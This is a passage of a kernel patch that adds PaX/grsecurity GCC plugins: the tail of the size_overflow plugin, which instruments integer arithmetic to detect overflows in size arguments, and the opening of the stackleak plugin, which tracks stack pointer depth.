++	tree rhs1_type = TREE_TYPE(gimple_assign_rhs1(def_stmt));
++	tree rhs2_type = TREE_TYPE(gimple_assign_rhs2(def_stmt));
++
++	if (change_rhs == NULL_TREE)
++		return get_size_overflow_type(def_stmt, lhs);
++
++	change_rhs_def_stmt = get_def_stmt(change_rhs);
++
++	if (TREE_CODE_CLASS(gimple_assign_rhs_code(def_stmt)) == tcc_comparison)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == LSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == RSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (!useless_type_conversion_p(lhs_type, rhs1_type) || !useless_type_conversion_p(rhs1_type, rhs2_type)) {
++		debug_gimple_stmt(def_stmt);
++		gcc_unreachable();
++	}
++
++	return get_size_overflow_type(def_stmt, lhs);
++}
++
++static bool is_a_constant_overflow(const_gimple stmt, const_tree rhs)
++{
++	if (gimple_assign_rhs_code(stmt) == MIN_EXPR)
++		return false;
++	if (!is_gimple_constant(rhs))
++		return false;
++	return true;
++}
++
++static tree get_cast_def_stmt_rhs(const_tree new_rhs)
++{
++	gimple def_stmt;
++
++	def_stmt = get_def_stmt(new_rhs);
++	// get_size_overflow_type
++	if (LONG_TYPE_SIZE != GET_MODE_BITSIZE(SImode))
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++	return gimple_assign_rhs1(def_stmt);
++}
++
++static tree cast_to_int_TI_type_and_check(gimple stmt, tree new_rhs)
++{
++	gimple_stmt_iterator gsi;
++	const_gimple cast_stmt;
++	gimple def_stmt;
++	enum machine_mode mode = TYPE_MODE(TREE_TYPE(new_rhs));
++
++	if (mode != TImode && mode != DImode) {
++		def_stmt = get_def_stmt(new_rhs);
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++		new_rhs = gimple_assign_rhs1(def_stmt);
++		mode = TYPE_MODE(TREE_TYPE(new_rhs));
++	}
++
++	gcc_assert(mode == TImode || mode == DImode);
++
++	if (mode == TYPE_MODE(intTI_type_node) && useless_type_conversion_p(TREE_TYPE(new_rhs), intTI_type_node))
++		return new_rhs;
++
++	gsi = gsi_for_stmt(stmt);
++	cast_stmt = build_cast_stmt(intTI_type_node, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	new_rhs = gimple_get_lhs(cast_stmt);
++
++	if (mode == DImode)
++		return new_rhs;
++
++	check_size_overflow(stmt, intTI_type_node, new_rhs, new_rhs, BEFORE_STMT);
++
++	return new_rhs;
++}
++
++static bool is_an_integer_trunction(const_gimple stmt)
++{
++	gimple rhs1_def_stmt, rhs2_def_stmt;
++	const_tree rhs1_def_stmt_rhs1, rhs2_def_stmt_rhs1;
++	enum machine_mode rhs1_def_stmt_rhs1_mode, rhs2_def_stmt_rhs1_mode;
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs2 = gimple_assign_rhs2(stmt);
++	enum machine_mode rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1));
++	enum machine_mode rhs2_mode = TYPE_MODE(TREE_TYPE(rhs2));
++
++	if (is_gimple_constant(rhs1) || is_gimple_constant(rhs2))
++		return false;
++
++	gcc_assert(TREE_CODE(rhs1) == SSA_NAME && TREE_CODE(rhs2) == SSA_NAME);
++
++	if (gimple_assign_rhs_code(stmt) != MINUS_EXPR || rhs1_mode != SImode || rhs2_mode != SImode)
++		return false;
++
++	rhs1_def_stmt = get_def_stmt(rhs1);
++	rhs2_def_stmt = get_def_stmt(rhs2);
++	if (!gimple_assign_cast_p(rhs1_def_stmt) || !gimple_assign_cast_p(rhs2_def_stmt))
++		return false;
++
++	rhs1_def_stmt_rhs1 = gimple_assign_rhs1(rhs1_def_stmt);
++	rhs2_def_stmt_rhs1 = gimple_assign_rhs1(rhs2_def_stmt);
++	rhs1_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1_def_stmt_rhs1));
++	rhs2_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs2_def_stmt_rhs1));
++	if (rhs1_def_stmt_rhs1_mode != DImode || rhs2_def_stmt_rhs1_mode != DImode)
++		return false;
++
++	gimple_set_plf(rhs1_def_stmt, NO_CAST_CHECK, true);
++	gimple_set_plf(rhs2_def_stmt, NO_CAST_CHECK, true);
++	return true;
++}
++
++static tree handle_integer_truncation(struct pointer_set_t *visited, const_tree lhs)
++{
++	tree new_rhs1, new_rhs2;
++	tree new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1, new_lhs;
++	tree new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type;
++	gimple assign, stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++
++	if (!is_an_integer_trunction(stmt))
++		return NULL_TREE;
++
++	new_rhs1 = expand(visited, rhs1);
++	new_rhs2 = expand(visited, rhs2);
++
++	new_rhs1_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs1);
++	new_rhs2_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs2);
++
++	new_rhs1_def_stmt_rhs1_type = TREE_TYPE(new_rhs1_def_stmt_rhs1);
++	new_rhs2_def_stmt_rhs1_type = TREE_TYPE(new_rhs2_def_stmt_rhs1);
++
++	if (!useless_type_conversion_p(new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type)) {
++		new_rhs1_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs1_def_stmt_rhs1);
++		new_rhs2_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs2_def_stmt_rhs1);
++	}
++
++	assign = create_binary_assign(MINUS_EXPR, stmt, new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1);
++	new_lhs = gimple_get_lhs(assign);
++	check_size_overflow(assign, TREE_TYPE(new_lhs), new_lhs, rhs1, AFTER_STMT);
++
++	return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++static bool is_a_neg_overflow(const_gimple stmt, const_tree rhs)
++{
++	const_gimple def_stmt;
++
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return false;
++
++	if (gimple_assign_rhs_code(stmt) != PLUS_EXPR)
++		return false;
++
++	def_stmt = get_def_stmt(rhs);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN || gimple_assign_rhs_code(def_stmt) != BIT_NOT_EXPR)
++		return false;
++
++	return true;
++}
++
++static tree handle_intentional_overflow(struct pointer_set_t *visited, bool check_overflow, gimple stmt, tree change_rhs, tree new_rhs1, tree new_rhs2)
++{
++	tree new_rhs, size_overflow_type, orig_rhs;
++	void (*gimple_assign_set_rhs)(gimple, tree);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++	tree lhs = gimple_get_lhs(stmt);
++
++	if (change_rhs == NULL_TREE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (new_rhs2 == NULL_TREE) {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs1);
++		new_rhs2 = cast_a_tree(size_overflow_type, rhs2);
++		orig_rhs = rhs1;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs1;
++	} else {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs2);
++		new_rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		orig_rhs = rhs2;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs2;
++	}
++
++	change_rhs = cast_to_new_size_overflow_type(stmt, change_rhs, size_overflow_type, BEFORE_STMT);
++
++	if (check_overflow)
++		check_size_overflow(stmt, size_overflow_type, change_rhs, orig_rhs, BEFORE_STMT);
++
++	new_rhs = change_assign_rhs(stmt, orig_rhs, change_rhs);
++	gimple_assign_set_rhs(stmt, new_rhs);
++	update_stmt(stmt);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_binary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, new_lhs;
++	gimple def_stmt = get_def_stmt(lhs);
++	tree new_rhs1 = NULL_TREE;
++	tree new_rhs2 = NULL_TREE;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++
++	/* no DImode/TImode division in the 32/64 bit kernel */
++	switch (gimple_assign_rhs_code(def_stmt)) {
++	case RDIV_EXPR:
++	case TRUNC_DIV_EXPR:
++	case CEIL_DIV_EXPR:
++	case FLOOR_DIV_EXPR:
++	case ROUND_DIV_EXPR:
++	case TRUNC_MOD_EXPR:
++	case CEIL_MOD_EXPR:
++	case FLOOR_MOD_EXPR:
++	case ROUND_MOD_EXPR:
++	case EXACT_DIV_EXPR:
++	case POINTER_PLUS_EXPR:
++	case BIT_AND_EXPR:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	default:
++		break;
++	}
++
++	new_lhs = handle_integer_truncation(visited, lhs);
++	if (new_lhs != NULL_TREE)
++		return new_lhs;
++
++	if (TREE_CODE(rhs1) == SSA_NAME)
++		new_rhs1 = expand(visited, rhs1);
++	if (TREE_CODE(rhs2) == SSA_NAME)
++		new_rhs2 = expand(visited, rhs2);
++
++	if (is_a_neg_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_neg_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	if (is_a_constant_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs1), def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_constant_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs2), def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++#if BUILDING_GCC_VERSION >= 4007
++static tree get_new_rhs(struct pointer_set_t *visited, tree size_overflow_type, tree rhs)
++{
++	if (is_gimple_constant(rhs))
++		return cast_a_tree(size_overflow_type, rhs);
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return NULL_TREE;
++	return expand(visited, rhs);
++}
++
++static tree handle_ternary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, rhs3, new_rhs1, new_rhs2, new_rhs3, size_overflow_type;
++	gimple def_stmt = get_def_stmt(lhs);
++
++	size_overflow_type = get_size_overflow_type(def_stmt, lhs);
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs3 = gimple_assign_rhs3(def_stmt);
++	new_rhs1 = get_new_rhs(visited, size_overflow_type, rhs1);
++	new_rhs2 = get_new_rhs(visited, size_overflow_type, rhs2);
++	new_rhs3 = get_new_rhs(visited, size_overflow_type, rhs3);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, new_rhs3);
++}
++#endif
++
++static tree get_size_overflow_type(gimple stmt, const_tree node)
++{
++	const_tree type;
++
++	gcc_assert(node != NULL_TREE);
++
++	type = TREE_TYPE(node);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return TREE_TYPE(node);
++
++	switch (TYPE_MODE(type)) {
++	case QImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intHI_type_node : intHI_type_node;
++	case HImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intSI_type_node : intSI_type_node;
++	case SImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++	case DImode:
++		if (LONG_TYPE_SIZE == GET_MODE_BITSIZE(SImode))
++			return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++		return (TYPE_UNSIGNED(type)) ? unsigned_intTI_type_node : intTI_type_node;
++	default:
++		debug_tree((tree)node);
++		error("%s: unsupported gcc configuration.", __func__);
++		gcc_unreachable();
++	}
++}
++
++static tree expand_visited(gimple def_stmt)
++{
++	const_gimple next_stmt;
++	gimple_stmt_iterator gsi = gsi_for_stmt(def_stmt);
++
++	gsi_next(&gsi);
++	next_stmt = gsi_stmt(gsi);
++
++	gcc_assert(gimple_plf((gimple)next_stmt, MY_STMT));
++
++	switch (gimple_code(next_stmt)) {
++	case GIMPLE_ASSIGN:
++		return gimple_get_lhs(next_stmt);
++	case GIMPLE_PHI:
++		return gimple_phi_result(next_stmt);
++	case GIMPLE_CALL:
++		return gimple_call_lhs(next_stmt);
++	default:
++		return NULL_TREE;
++	}
++}
++
++static tree expand(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt;
++	enum tree_code code = TREE_CODE(TREE_TYPE(lhs));
++
++	if (is_gimple_constant(lhs))
++		return NULL_TREE;
++
++	if (TREE_CODE(lhs) == ADDR_EXPR)
++		return NULL_TREE;
++
++	if (code == REAL_TYPE)
++		return NULL_TREE;
++
++	gcc_assert(code == INTEGER_TYPE || code == POINTER_TYPE || code == BOOLEAN_TYPE || code == ENUMERAL_TYPE);
++
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return NULL_TREE;
++
++	if (gimple_plf(def_stmt, MY_STMT))
++		return lhs;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return expand_visited(def_stmt);
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		return NULL_TREE;
++	case GIMPLE_PHI:
++		return build_new_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return handle_unary_ops(visited, lhs);
++		case 3:
++			return handle_binary_ops(visited, lhs);
++#if BUILDING_GCC_VERSION >= 4007
++		case 4:
++			return handle_ternary_ops(visited, lhs);
++#endif
++		}
++	default:
++		debug_gimple_stmt(def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static void change_function_arg(gimple stmt, const_tree origarg, unsigned int argnum, tree newarg)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(origarg);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_CALL);
++
++	assign = build_cast_stmt(origtype, newarg, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++
++	gimple_call_set_arg(stmt, argnum, gimple_get_lhs(assign));
++	update_stmt(stmt);
++}
++
++static bool get_function_arg(unsigned int* argnum, const_tree fndecl)
++{
++	const char *origid;
++	tree arg;
++	const_tree origarg;
++
++	if (!DECL_ABSTRACT_ORIGIN(fndecl))
++		return true;
++
++	origarg = DECL_ARGUMENTS(DECL_ABSTRACT_ORIGIN(fndecl));
++	while (origarg && *argnum) {
++		(*argnum)--;
++		origarg = TREE_CHAIN(origarg);
++	}
++
++	gcc_assert(*argnum == 0);
++
++	gcc_assert(origarg != NULL_TREE);
++	origid = NAME(origarg);
++	*argnum = 0;
++	for (arg = DECL_ARGUMENTS(fndecl); arg; arg = TREE_CHAIN(arg)) {
++		if (!strcmp(origid, NAME(arg)))
++			return true;
++		(*argnum)++;
++	}
++	return false;
++}
++
++static bool skip_types(const_tree var)
++{
++	switch (TREE_CODE(var)) {
++		case ADDR_EXPR:
++#if BUILDING_GCC_VERSION >= 4006
++		case MEM_REF:
++#endif
++		case ARRAY_REF:
++		case BIT_FIELD_REF:
++		case INDIRECT_REF:
++		case TARGET_MEM_REF:
++		case VAR_DECL:
++			return true;
++		default:
++			break;
++	}
++	return false;
++}
++
++static bool walk_phi(struct pointer_set_t *visited, const_tree result)
++{
++	gimple phi = get_def_stmt(result);
++	unsigned int i, n = gimple_phi_num_args(phi);
++
++	if (!phi)
++		return false;
++
++	pointer_set_insert(visited, phi);
++	for (i = 0; i < n; i++) {
++		const_tree arg = gimple_phi_arg_def(phi, i);
++		if (pre_expand(visited, arg))
++			return true;
++	}
++	return false;
++}
++
++static bool walk_unary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs;
++
++	if (!def_stmt)
++		return false;
++
++	rhs = gimple_assign_rhs1(def_stmt);
++	if (pre_expand(visited, rhs))
++		return true;
++	return false;
++}
++
++static bool walk_binary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	bool rhs1_found, rhs2_found;
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs1, rhs2;
++
++	if (!def_stmt)
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs1_found = pre_expand(visited, rhs1);
++	rhs2_found = pre_expand(visited, rhs2);
++
++	return rhs1_found || rhs2_found;
++}
++
++static const_tree search_field_decl(const_tree comp_ref)
++{
++	const_tree field = NULL_TREE;
++	unsigned int i, len = TREE_OPERAND_LENGTH(comp_ref);
++
++	for (i = 0; i < len; i++) {
++		field = TREE_OPERAND(comp_ref, i);
++		if (TREE_CODE(field) == FIELD_DECL)
++			break;
++	}
++	gcc_assert(TREE_CODE(field) == FIELD_DECL);
++	return field;
++}
++
++static enum marked mark_status(const_tree fndecl, unsigned int argnum)
++{
++	const_tree attr, p;
++
++	attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(fndecl));
++	if (!attr || !TREE_VALUE(attr))
++		return MARKED_NO;
++
++	p = TREE_VALUE(attr);
++	if (!TREE_INT_CST_LOW(TREE_VALUE(p)))
++		return MARKED_NOT_INTENTIONAL;
++
++	do {
++		if (argnum == TREE_INT_CST_LOW(TREE_VALUE(p)))
++			return MARKED_YES;
++		p = TREE_CHAIN(p);
++	} while (p);
++
++	return MARKED_NO;
++}
++
++static void print_missing_msg(tree func, unsigned int argnum)
++{
++	unsigned int new_hash;
++	size_t len;
++	unsigned char tree_codes[CODES_LIMIT];
++	location_t loc = DECL_SOURCE_LOCATION(func);
++	const char *curfunc = get_asm_name(func);
++
++	len = get_function_decl(func, tree_codes);
++	new_hash = get_hash_num(curfunc, (const char *) tree_codes, len, 0);
++	inform(loc, "Function %s is missing from the size_overflow hash table +%s+%u+%u+", curfunc, curfunc, argnum, new_hash);
++}
++
++static unsigned int search_missing_attribute(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	tree func = get_original_function_decl(current_function_decl);
++	unsigned int argnum;
++	const struct size_overflow_hash *hash;
++
++	gcc_assert(TREE_CODE(arg) != COMPONENT_REF);
++
++	if (TREE_CODE(type) == POINTER_TYPE)
++		return 0;
++
++	argnum = find_arg_number(arg, func);
++	if (argnum == 0)
++		return 0;
++
++	if (lookup_attribute("size_overflow", DECL_ATTRIBUTES(func)))
++		return argnum;
++
++	hash = get_function_hash(func);
++	if (!hash || !(hash->param & (1U << argnum))) {
++		print_missing_msg(func, argnum);
++		return 0;
++	}
++	return argnum;
++}
++
++static bool is_already_marked(const_tree lhs)
++{
++	unsigned int argnum;
++	const_tree fndecl;
++
++	argnum = search_missing_attribute(lhs);
++	fndecl = get_original_function_decl(current_function_decl);
++	if (argnum && mark_status(fndecl, argnum) == MARKED_YES)
++		return true;
++	return false;
++}
++
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs)
++{
++	const_gimple def_stmt;
++
++	if (is_gimple_constant(lhs))
++		return false;
++
++	if (skip_types(lhs))
++		return false;
++
++	if (TREE_CODE(lhs) == PARM_DECL)
++		return is_already_marked(lhs);
++
++	if (TREE_CODE(lhs) == COMPONENT_REF) {
++		const_tree field, attr;
++
++		field = search_field_decl(lhs);
++		attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(field));
++		if (!attr || !TREE_VALUE(attr))
++			return false;
++		return true;
++	}
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return false;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return false;
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		if (TREE_CODE(SSA_NAME_VAR(lhs)) == PARM_DECL)
++			return is_already_marked(lhs);
++		return false;
++	case GIMPLE_PHI:
++		return walk_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return false;
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return walk_unary_ops(visited, lhs);
++		case 3:
++			return walk_binary_ops(visited, lhs);
++		}
++	default:
++		debug_gimple_stmt((gimple)def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static bool search_attributes(tree fndecl, const_tree arg, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	bool is_found;
++	enum marked is_marked;
++	location_t loc;
++
++	visited = pointer_set_create();
++	is_found = pre_expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	is_marked = mark_status(fndecl, argnum + 1);
++	if ((is_found && is_marked == MARKED_YES) || is_marked == MARKED_NOT_INTENTIONAL)
++		return true;
++
++	if (is_found) {
++		loc = DECL_SOURCE_LOCATION(fndecl);
++		inform(loc, "The intentional_overflow attribute is missing from +%s+%u+", get_asm_name(fndecl), argnum + 1);
++		return true;
++	}
++	return false;
++}
++
++static void handle_function_arg(gimple stmt, tree fndecl, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	tree arg, newarg;
++	bool match;
++
++	match = get_function_arg(&argnum, fndecl);
++	if (!match)
++		return;
++	gcc_assert(gimple_call_num_args(stmt) > argnum);
++	arg = gimple_call_arg(stmt, argnum);
++	if (arg == NULL_TREE)
++		return;
++
++	if (is_gimple_constant(arg))
++		return;
++
++	if (search_attributes(fndecl, arg, argnum))
++		return;
++
++	if (TREE_CODE(arg) != SSA_NAME)
++		return;
++
++	check_arg_type(arg);
++
++	visited = pointer_set_create();
++	newarg = expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	if (newarg == NULL_TREE)
++		return;
++
++	change_function_arg(stmt, arg, argnum, newarg);
++
++	check_size_overflow(stmt, TREE_TYPE(newarg), newarg, arg, BEFORE_STMT);
++}
++
++static void handle_function_by_attribute(gimple stmt, const_tree attr, tree fndecl)
++{
++	tree p = TREE_VALUE(attr);
++	do {
++		handle_function_arg(stmt, fndecl, TREE_INT_CST_LOW(TREE_VALUE(p))-1);
++		p = TREE_CHAIN(p);
++	} while (p);
++}
++
++static void handle_function_by_hash(gimple stmt, tree fndecl)
++{
++	tree orig_fndecl;
++	unsigned int num;
++	const struct size_overflow_hash *hash;
++
++	orig_fndecl = get_original_function_decl(fndecl);
++	if (C_DECL_IMPLICIT(orig_fndecl))
++		return;
++	hash = get_function_hash(orig_fndecl);
++	if (!hash)
++		return;
++
++	for (num = 1; num <= MAX_PARAM; num++)
++		if (hash->param & (1U << num))
++			handle_function_arg(stmt, fndecl, num - 1);
++}
++
++static void set_plf_false(void)
++{
++	basic_block bb;
++
++	FOR_ALL_BB(bb) {
++		gimple_stmt_iterator si;
++
++		for (si = gsi_start_bb(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++		for (si = gsi_start_phis(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++	}
++}
++
++static unsigned int handle_function(void)
++{
++	basic_block next, bb = ENTRY_BLOCK_PTR->next_bb;
++
++	set_plf_false();
++
++	do {
++		gimple_stmt_iterator gsi;
++		next = bb->next_bb;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			tree fndecl, attr;
++			gimple stmt = gsi_stmt(gsi);
++
++			if (!(is_gimple_call(stmt)))
++				continue;
++			fndecl = gimple_call_fndecl(stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (gimple_call_num_args(stmt) == 0)
++				continue;
++			attr = lookup_attribute("size_overflow", DECL_ATTRIBUTES(fndecl));
++			if (!attr || !TREE_VALUE(attr))
++				handle_function_by_hash(stmt, fndecl);
++			else
++				handle_function_by_attribute(stmt, attr, fndecl);
++			gsi = gsi_for_stmt(stmt);
++			next = gimple_bb(stmt)->next_bb;
++		}
++		bb = next;
++	} while (bb);
++	return 0;
++}
++
++static struct gimple_opt_pass size_overflow_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "size_overflow",
++		.gate			= NULL,
++		.execute		= handle_function,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_cfg | PROP_referenced_vars,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi | TODO_cleanup_cfg | TODO_ggc_collect | TODO_verify_flow
++	}
++};
++
++static void start_unit_callback(void __unused *gcc_data, void __unused *user_data)
++{
++	tree fntype;
++
++	const_char_ptr_type_node = build_pointer_type(build_type_variant(char_type_node, 1, 0));
++
++	// void report_size_overflow(const char *loc_file, unsigned int loc_line, const char *current_func, const char *ssa_var)
++	fntype = build_function_type_list(void_type_node,
++					  const_char_ptr_type_node,
++					  unsigned_type_node,
++					  const_char_ptr_type_node,
++					  const_char_ptr_type_node,
++					  NULL_TREE);
++	report_size_overflow_decl = build_fn_decl("report_size_overflow", fntype);
++
++	DECL_ASSEMBLER_NAME(report_size_overflow_decl);
++	TREE_PUBLIC(report_size_overflow_decl) = 1;
++	DECL_EXTERNAL(report_size_overflow_decl) = 1;
++	DECL_ARTIFICIAL(report_size_overflow_decl) = 1;
++	TREE_THIS_VOLATILE(report_size_overflow_decl) = 1;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	int i;
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	bool enable = true;
++
++	struct register_pass_info size_overflow_pass_info = {
++		.pass				= &size_overflow_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "no-size-overflow")) {
++			enable = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &size_overflow_plugin_info);
++	if (enable) {
++		register_callback("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &size_overflow_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/stackleak_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/stackleak_plugin.c	2012-10-15 17:30:59.835924531 +0000
+@@ -0,0 +1,313 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help implement various PaX features
++ *
++ * - track lowest stack pointer
++ *
++ * TODO:
++ * - initialize all local variables
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static int track_frame_size = -1;
++static const char track_function[] = "pax_track_stack";
++static const char check_function[] = "pax_check_alloca";
++static bool init_locals;
++
++static struct plugin_info stackleak_plugin_info = {
++	.version	= "201203140940",
++	.help		= "track-lowest-sp=nn\ttrack sp in functions whose frame size is at least nn bytes\n"
++//			  "initialize-locals\t\tforcibly initialize all stack frames\n"
++};
++
++static bool gate_stackleak_track_stack(void);
++static unsigned int execute_stackleak_tree_instrument(void);
++static unsigned int execute_stackleak_final(void);
++
++static struct gimple_opt_pass stackleak_tree_instrument_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "stackleak_tree_instrument",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_tree_instrument,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
